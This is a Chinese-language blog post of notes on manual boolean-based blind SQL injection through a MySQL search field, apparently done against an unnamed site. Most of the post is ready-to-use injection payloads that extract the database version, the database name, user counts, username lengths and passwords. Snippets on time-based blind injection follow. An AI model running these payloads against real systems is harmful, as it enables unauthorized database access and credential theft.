MySQL搜尋型盲注筆記

2021-12-30 05:18:44 字數 3064 閱讀 2589

某大牛遇到個搜尋型的注入,工具不好跑,於是相約一起手工,但我是菜逼,在查閱了文獻並且經過瘋子大牛的悉心提點下,便寫下這篇筆記,和其他盲注手法一樣,通過判斷頁面回顯情況來進行注入=。=

注入點報錯如下:

通過報錯得知,這是個mysql的庫  

001-判斷資料庫版本

通過left()擷取,判斷語句如下  

%'and(select left(version(),1)>4) and '%'=' /*回顯正常*/

%'and(select left(version(),1)>6) and '%'=' /*回顯錯誤*/

%'and(select left(version(),1)=5) and '%'=' /*回顯正常*/ 

4時回顯正常說明版本大於4,當大於6時回顯錯誤,判斷版本為5

002-判斷資料庫長度

%'and(select length(database())>1) and '%'=' /*回顯正常*/

%'and(select length(database())>4) and '%'=' /*回顯錯誤*/

%'and(select length(database())=4) and '%'=' /*回顯正常*/ 

通過回顯,猜測出資料庫長度為4  

003-猜解資料庫名

%'and(select left(database(),1))>'1' and '%'='

%'and(select left(database(),1))>'1' and '%'='

%'and(select left(database(),1))='p' and '%'=' p

%'and(select left(database(),2))='ph' and '%'=' ph

%'and(select left(database(),3))='php' and '%'=' php

%'and(select left(database(),4))='phpx' and '%'=' 

此處用了經典的折半法猜解  

%'and(select left(database(),1))>'1' and '%'=' /*回顯正常*/

%'and(select left(database(),1))>'9' and '%'=' /*回顯正常*/

/*說明第乙個字元不是數字*/

%'and(select left(database(),1))>'a' and '%'=' /*回顯正常*/

%'and(select left(database(),1))>'z' and '%'=' /*回顯錯誤*/

/*開始折半*/

%'and(select left(database(),1))>'m' and '%'=' /*回顯正常說明在m-z間*/

%'and(select left(database(),1))>'r' and '%'=' /*回顯錯誤說明在m-r間*/

%'and(select left(database(),1))='p' and '%'='/*回顯正常,確定了為p*/

%'and(select left(database(),2))='ph' and '%'='/*回顯正常說明第二個字元為h*/

………… 

根據上面說的拆半法,依次猜解出了資料庫名為phpx

004-猜解字段

%'and(select count(username)from user)>0 and '%'=' 

猜解user表中的總數  

%'and(select count(*)from user)>2 and '%'=' /*回顯錯誤*/

%'and(select count(*)from user)>1 and '%'='/*回顯正確*/

%'and(select count(*)from user)=2 and '%'='/*回顯正確,說明有倆*/

密碼猜解也是這樣的方法 

005-猜解username的長度

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>0 and '%'=' /*回顯正確*/

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>9 and '%'=' /*回顯正確*/

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>10 and '%'=' /*回顯錯誤*/

%'and (select (select length(username) from user limit 0,1) from user limit 0,1)=10 and '%'=' /*回顯正確,說明第一位username有10位*/

%'and (select (select length(username) from user limit 1,1) from user limit 1,1)>0 and '%'=' /*回顯正確,第二位同樣為10位*/ 

006-猜解值

猜解值太苦逼了,使用burpsuite來不斷的提交post猜解算了,方法都是一樣的

007-猜解password

方法和猜解username的一樣,不再做贅述

008-關於特殊字元和避免php的gpc轉義

如果遇到特殊字元的話會更加苦逼,此處可以用到substr函式,使用方法可以參看手冊,示例可參看習科的一文

避免gpc轉義

select substr(left((select user from ebt_user),1),1,1)=char(48)

%'and(select left(version(),1)=5) and '%'='   

最後,感謝瘋子大牛的幫助,他的部落格是

布林型盲注 時間型盲注

布林型盲注核心思想 利用判斷語句杢證明推測是否正確。推測正確時,頁面正常顯示 錯誤時,頁面異常。盲注的一般步驟 1 求閉合字元 2 求當前資料庫名的長度 3 求當前資料庫名對應的ascii值 4 求表的數量 5 求表名的長度 6 求表名對應的ascii值 7 求列的數量 8 求列名的長度 9 求列名...

mysql 時間盲注 MySQL手注之時間盲注

時間盲注 延遲 沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。時間盲注常用的函式 if函式 if condition,a,b 含義 如果condition 成立,執行a,則b substr函式 含義 擷取字串。subster string,start,leng...

Mysql時間盲注

if 函式 if 1,2,3 如果條件1為真,執行結果語句2 如果條件1為假,執行結果語句3 sleep 函式 sleep以秒來算的 length 函式 測量字串的長度 substr 函式 substr s,a,b a為對s擷取的位置,b為對s擷取的長度 ascii 函式 ascii a 返回a的a...